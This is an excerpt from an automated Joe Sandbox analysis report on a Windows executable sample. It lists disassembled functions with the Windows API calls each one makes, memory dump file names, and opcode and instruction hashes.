RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0075BAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0075BB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 0075BB63
RegCloseKey.ADVAPI32(?,?), ref: 0075BBA6
RegCloseKey.ADVAPI32(00000000), ref: 0075BBB3

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: 6d018a37206ca4c63a0d61ce5841cd133cadbff730644fd2756a29846960f23b
Instruction ID: 600d2c260b09e32b27a6b7555b8650f2cceb2eacb3074690977f666e6f2dee4a
Opcode Fuzzy Hash: 6d018a37206ca4c63a0d61ce5841cd133cadbff730644fd2756a29846960f23b
Instruction Fuzzy Hash: E861C271208241AFD314DF14C890E7ABBE5FF84308F14855DF8994B2A2DB75ED49CB92

Function 00738BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00738BCD
VariantClear.OLEAUT32 ref: 00738C3E
VariantClear.OLEAUT32 ref: 00738C9D
VariantClear.OLEAUT32(?), ref: 00738D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00738D3B

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 25e429a72c5b7b9c90e7bd36870cba5aaca216c79db604f05e0c12ef6b1927c7
Instruction ID: be83457bb7a87ba22a21e248b5ec7bf40c83c5ef64bd65d69e4e20c4e7dab463
Opcode Fuzzy Hash: 25e429a72c5b7b9c90e7bd36870cba5aaca216c79db604f05e0c12ef6b1927c7
Instruction Fuzzy Hash: 4A5148B5A00219AFDB10CF68C884AAABBF4FF8D310F158559F915DB350EB34E911CBA1

Function 00748AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00748BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00748BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00748C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00748C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00748C5F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: b86bd8bf148b02cba9dda58cb3e97686b741125748cf77a0500ec00b0c605fcf
Instruction ID: 9635f52530465e3d0e3cafd6b59a35548ab925787677d3e6ba7d22bbe5ff217a
Opcode Fuzzy Hash: b86bd8bf148b02cba9dda58cb3e97686b741125748cf77a0500ec00b0c605fcf
Instruction Fuzzy Hash: 67515D35A002199FCB45DF65C880E6DBBF6FF48314F088499E849AB362DB35ED41CBA5

Function 00758EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00758F40
GetProcAddress.KERNEL32(00000000,?), ref: 00758FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00758FEC
GetProcAddress.KERNEL32(00000000,?), ref: 00759032
FreeLibrary.KERNEL32(00000000), ref: 00759052

Part of subcall function 006EF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00741043,?,7644E610), ref: 006EF6E6
Part of subcall function 006EF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,0072FA64,00000000,00000000,?,?,00741043,?,7644E610,?,0072FA64), ref: 006EF70D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: 57a9ecce90e01b5e1216616bdd9693d8e421d65a591892b48d37a04d96ba8fe1
Instruction ID: a8a04b439705a8663272b93bcaafbaf0d1b033a4d8add5ab4e450daeb78476a7
Opcode Fuzzy Hash: 57a9ecce90e01b5e1216616bdd9693d8e421d65a591892b48d37a04d96ba8fe1
Instruction Fuzzy Hash: CA514A35A00205DFC745DF54C4948ADBBB1FF49315F088099ED0AAB3A2DB75ED89CB91

Function 00766B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00766C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00766C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00766C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,0074AB79,00000000,00000000), ref: 00766C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00766CC7

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: 2ae6c83b692c4fab29c30d2e5702685eb0ebae28efb1b318aec5671e1f4f9a1c
Instruction ID: 8e2a43304c3b4aca464fda7e4930e3718abd7d3debbe045aa26bf52c66b0b581
Opcode Fuzzy Hash: 2ae6c83b692c4fab29c30d2e5702685eb0ebae28efb1b318aec5671e1f4f9a1c
Instruction Fuzzy Hash: E141E235600504AFD725CF28CC48FA57BA5EB09350F954268EC9AA72A0C379BD40CA64

Function 00702051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 007020C3
_free.LIBCMT ref: 007020E3

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 6c0e1822d327b044fbdbf4d48a394b482efa80c14e2a0fb46491e7511a580de6
Instruction ID: 717a3d38f3b0a76fd539a1934feb05e6fd1f8bc575b02f3d5dfe20c238920c3e
Opcode Fuzzy Hash: 6c0e1822d327b044fbdbf4d48a394b482efa80c14e2a0fb46491e7511a580de6
Instruction Fuzzy Hash: F5419333A00304DFCB24DF78C885A59B7E5EF89314F1546A9E615EB392DA35AD02CB91

Function 006E912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 006E9141
ScreenToClient.USER32(00000000,?), ref: 006E915E
GetAsyncKeyState.USER32(00000001), ref: 006E9183
GetAsyncKeyState.USER32(00000002), ref: 006E919D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 0eda5e36a253d7be3392cee5c6fe967064d7198722622a1ddbd248f0828bfc85
Instruction ID: 97797849ca386c7e494e2613036b4a0810a48c0de4450d8f71e1b2f226d17847
Opcode Fuzzy Hash: 0eda5e36a253d7be3392cee5c6fe967064d7198722622a1ddbd248f0828bfc85
Instruction Fuzzy Hash: A7416E3190861AFBDF199F65D848BEEB775FF45320F208219E429A6290C7345D50CB61

Function 00743874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 007438CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00743922
TranslateMessage.USER32(?), ref: 0074394B
DispatchMessageW.USER32(?), ref: 00743955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00743966

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: 0005dff570550ebaee44bd682dfb8308285f8a00ad567535cd06bb89597ac496
Instruction ID: b0e53533a439444c0e536f4926ee93769234d1a33d9765992d95d730e36d990f
Opcode Fuzzy Hash: 0005dff570550ebaee44bd682dfb8308285f8a00ad567535cd06bb89597ac496
Instruction Fuzzy Hash: AF31D9709043419EFB35CB349C48BB777A8AB46308F54856DD4AAC20A0E3FCB685CB25

Function 0074CF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000), ref: 0074CF38
InternetReadFile.WININET(?,00000000,?,?), ref: 0074CF6F
GetLastError.KERNEL32(?,00000000,?,?,?,0074C21E,00000000), ref: 0074CFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,0074C21E,00000000), ref: 0074CFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,0074C21E,00000000), ref: 0074CFF2

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: 4be5ec16aa9b428c940686044d9e3de1e5e7287b0cbed6263942fa90b92832ec
Instruction ID: 27fa84bd04711c806bc02e1d4ad49df109c0b73f08f2853845a498e5b947c5cb
Opcode Fuzzy Hash: 4be5ec16aa9b428c940686044d9e3de1e5e7287b0cbed6263942fa90b92832ec
Instruction Fuzzy Hash: 51317C72601305EFDB61DFA5C884AABBBF9EF14310B10842EF546D2101EB78AE459B60

Function 00731901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00731915
PostMessageW.USER32(00000001,00000201,00000001), ref: 007319C1
Sleep.KERNEL32(00000000,?,?,?), ref: 007319C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 007319DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 007319E2

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: cceb56a4551262e3719a040504c5f4dc050b1b1d3e4e0923e453078d42f7cb51
Instruction ID: a5c205be8fb9ab9880f33f60ce73bd598c9f5e64d999ffce5ecbab432bc6bfd2
Opcode Fuzzy Hash: cceb56a4551262e3719a040504c5f4dc050b1b1d3e4e0923e453078d42f7cb51
Instruction Fuzzy Hash: 9631F471900259EFDB04CFA8CD99BEE3BB5EB04315F008225F962A72D1C7B4AD54CB90

Function 00765706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 00765745
SendMessageW.USER32(?,00001074,?,00000001), ref: 0076579D
_wcslen.LIBCMT ref: 007657AF
_wcslen.LIBCMT ref: 007657BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 00765816

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: c56fccd2390b1608f7fd3c59cf3d08263af5de9dd5debd94e180cbc6ee1856e3
Instruction ID: e8bb39a81be21ff17bb14079e961dfb9db618231dd52df418a628665d0e57ac0
Opcode Fuzzy Hash: c56fccd2390b1608f7fd3c59cf3d08263af5de9dd5debd94e180cbc6ee1856e3
Instruction Fuzzy Hash: CF21B671904618DADB218F60CC84EEE7BB8FF04724F108256FD2AEB180DB789985DF54

Function 00750930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00750951
GetForegroundWindow.USER32 ref: 00750968
GetDC.USER32(00000000), ref: 007509A4
GetPixel.GDI32(00000000,?,00000003), ref: 007509B0
ReleaseDC.USER32(00000000,00000003), ref: 007509E8

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 70265cd338f37e37eddcc7679fc4e11f12472575aa2801272c9e6592f91a0fa0
Instruction ID: 2fb4971eca20e1512e629438959a9b3dce577d6958720b4a98b43d46169058c9
Opcode Fuzzy Hash: 70265cd338f37e37eddcc7679fc4e11f12472575aa2801272c9e6592f91a0fa0
Instruction Fuzzy Hash: D1216F39A00214AFD704EF69D888AAEBBE5EF44701F04806DE84A97352DBB4AC44CB94

Function 0070CDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0070CDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0070CDE9

Part of subcall function 00703820: RtlAllocateHeap.NTDLL(00000000,?,007A1444,?,006EFDF5,?,?,006DA976,00000010,007A1440,006D13FC,?,006D13C6,?,006D1129), ref: 00703852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0070CE0F
_free.LIBCMT ref: 0070CE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0070CE31

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: bc334f34cb0823fc2148986ec011a0f0ab30fc053e480e935293b7c0b2a16d41
Instruction ID: 1d8b40084f448f41674e7b876d3f22ed77bb306853f5ff899252e2e348ffdd65
Opcode Fuzzy Hash: bc334f34cb0823fc2148986ec011a0f0ab30fc053e480e935293b7c0b2a16d41
Instruction Fuzzy Hash: 8701B1B2601215FFA32327B6EC8CC7B79ADDAC6BA1315432DFD05C6281EA688D0191B4

Function 006E9639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 006E9693
SelectObject.GDI32(?,00000000), ref: 006E96A2
BeginPath.GDI32(?), ref: 006E96B9
SelectObject.GDI32(?,00000000), ref: 006E96E2

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 46c29ee6f40aae3392edb36b7141924725b29e81600343922eb0383382c791a5
Instruction ID: 6c299a65f9e98662d87077cd5ab1a609d993ca6e2346c04ad1c3d9eb647e117b
Opcode Fuzzy Hash: 46c29ee6f40aae3392edb36b7141924725b29e81600343922eb0383382c791a5
Instruction Fuzzy Hash: AD2183708023C5EBFB119F25EC147EA3B66BF82355F508216F411961B1D3786991CFA9

Function 00735711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00735726
_memcmp.LIBVCRUNTIME ref: 00735744
_memcmp.LIBVCRUNTIME ref: 00735757
_memcmp.LIBVCRUNTIME ref: 0073576F
_memcmp.LIBVCRUNTIME ref: 00735787

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 3f2e4c3d88e27bb5e2191a8f1a103aad459d26c6ac221e37f1ba69efa9c3e274
Instruction ID: 84c72cc5346b14f715b544cfe7a9be39fc60dda1a4d372a90a0027f9fc4f0163
Opcode Fuzzy Hash: 3f2e4c3d88e27bb5e2191a8f1a103aad459d26c6ac221e37f1ba69efa9c3e274
Instruction Fuzzy Hash: 5401B5A2645A09FBF2085520AD92FBB735E9B32394F414024FE099E242FB69ED10C2F4

Function 00702DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,006FF2DE,00703863,007A1444,?,006EFDF5,?,?,006DA976,00000010,007A1440,006D13FC,?,006D13C6), ref: 00702DFD
_free.LIBCMT ref: 00702E32
_free.LIBCMT ref: 00702E59
SetLastError.KERNEL32(00000000,006D1129), ref: 00702E66
SetLastError.KERNEL32(00000000,006D1129), ref: 00702E6F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: e4f7ef0963664a22b3dc2eb0b91ef8cd22e1c1fe56b1f2ea9e8c1035e29cb44f
Instruction ID: 23a8940158230e5a544c661bef658b9bda3e0af1a0b4cbfbac2a79d429bece7a
Opcode Fuzzy Hash: e4f7ef0963664a22b3dc2eb0b91ef8cd22e1c1fe56b1f2ea9e8c1035e29cb44f
Instruction Fuzzy Hash: 9B01F977285600E7C6137735AC4ED2B26DDABD17A57214725F455A22E3EA6C8C034128

Function 0073000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0072FF41,80070057,?,?,?,0073035E), ref: 0073002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0072FF41,80070057,?,?), ref: 00730046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0072FF41,80070057,?,?), ref: 00730054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0072FF41,80070057,?), ref: 00730064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0072FF41,80070057,?,?), ref: 00730070

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: ad108b04b3712494612fabfd14a396811699769d10f30725add0bfaeb86995a9
Instruction ID: b84704426ecc6dbb9d9d7129f51ee4371e21350b2523666cc00bd2b7fd2cb62b
Opcode Fuzzy Hash: ad108b04b3712494612fabfd14a396811699769d10f30725add0bfaeb86995a9
Instruction Fuzzy Hash: FA01DF76600309BFEB214F68DC48BBA7AADEB44751F108024F846D7211D7B8CD009BA0

Function 0073E97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 0073E997
